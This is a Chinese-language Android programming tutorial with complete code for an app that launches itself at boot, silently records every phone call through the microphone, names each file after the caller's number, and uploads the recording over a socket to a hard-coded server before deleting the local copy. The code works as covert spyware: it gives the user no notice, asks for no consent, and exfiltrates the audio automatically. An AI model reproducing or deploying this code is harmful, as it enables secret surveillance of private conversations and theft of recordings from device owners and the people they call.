基本步骤:
1、用BootBroadcastReceiver监听开机启动的广播、同时配置PhoneService的服务
>>>> 在manifest中完成配置
2、在BootBroadcastReceiver的onReceive()中调用startService()启动服务
>>>>在BootBroadcastReceiver的onReceive()中完成
3、在PhoneService的onCreate()设置PhoneStateListener的功能
>>>>在PhoneService的onCreate()完成
4、继承父类PhoneStateListener,编写PhoneListener的基本框架,在onCallStateChanged()实现电话录音的功能
>>>> 在onCallStateChanged()完成
5、电话录音结束后,启动新的线程实现文件的上传,在uploadFile()中完成
==================================================================
具体实现的代码
1、用BootBroadcastReceiver监听开机启动的广播、同时配置PhoneService的服务
>>>> 在manifest中完成配置
<application..... >
<service android:name=".PhoneService"/>
<receiver android:name=".BootBroadcastReceiver">
<intent-filter >
<action android:name="android.intent.action.BOOT_COMPLETED"/>
</intent-filter>
</receiver>
</application>
2、在BootBroadcastReceiver的onReceive()中调用startService()启动服务
>>>>在BootBroadcastReceiver的onReceive()中完成
public void onReceive(Context context, Intent intent) {
Intent service = new Intent(context, PhoneService.class);//显式意图
context.startService(service);//Intent激活组件(Service)
}
3、在PhoneService的onCreate()设置PhoneStateListener的功能
>>>>在PhoneService的onCreate()完成
public void onCreate() {
super.onCreate();//父类的方法不能去掉,必须保留
TelephonyManager telephonyManager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);
telephonyManager.listen(new PhoneListener(), PhoneStateListener.LISTEN_CALL_STATE);
}
4、继承父类PhoneStateListener,编写PhoneListener的基本框架,在onCallStateChanged()实现电话录音的功能
>>>> 在onCallStateChanged()完成
private final class PhoneListener extends PhoneStateListener{ private String incomingNumber; private File file; private MediaRecorder mediaRecorder; @Override public void onCallStateChanged(int state, String incomingNumber) { try { switch (state) { case TelephonyManager.CALL_STATE_RINGING://来电 this.incomingNumber = incomingNumber; break; case TelephonyManager.CALL_STATE_OFFHOOK://接通电话 file = new File(Environment.getExternalStorageDirectory(), incomingNumber+System.currentTimeMillis()+ ".3gp"); mediaRecorder = new MediaRecorder(); mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC); mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP); mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB); mediaRecorder.setOutputFile(file.getAbsolutePath()); mediaRecorder.prepare(); mediaRecorder.start();//开始录音 break; case TelephonyManager.CALL_STATE_IDLE://挂断电话后回归到空闲状态 if(mediaRecorder != null){ mediaRecorder.stop(); mediaRecorder.release(); mediaRecorder = null; uploadFile(); } break; } } catch (Exception e) { e.printStackTrace(); } }
5、电话录音结束后,启动新的线程实现文件的上传,在uploadFile()中完成
private void uploadFile() {
new Thread(new Runnable() {
public void run() {
try {
if(file!=null && file.exists()){
Socket socket = new Socket("192.168.1.100", 7878);
OutputStream outStream = socket.getOutputStream();
String head = "Content-Length="+ file.length() + ";filename="+ file.getName() + ";sourceid=\r\n";
outStream.write(head.getBytes());
PushbackInputStream inStream = new PushbackInputStream(socket.getInputStream());
String response = StreamTool.readLine(inStream);
String[] items = response.split(";");
String position = items[1].substring(items[1].indexOf("=")+1);
RandomAccessFile fileOutStream = new RandomAccessFile(file, "r");
fileOutStream.seek(Integer.valueOf(position));
byte[] buffer = new byte[1024];
int len = -1;
while( (len = fileOutStream.read(buffer)) != -1){
outStream.write(buffer, 0, len);
}
fileOutStream.close();
outStream.close();
inStream.close();
socket.close();
file.delete();
file = null;
}
} catch (Exception e) {
e.printStackTrace();
}
}
}).start();
}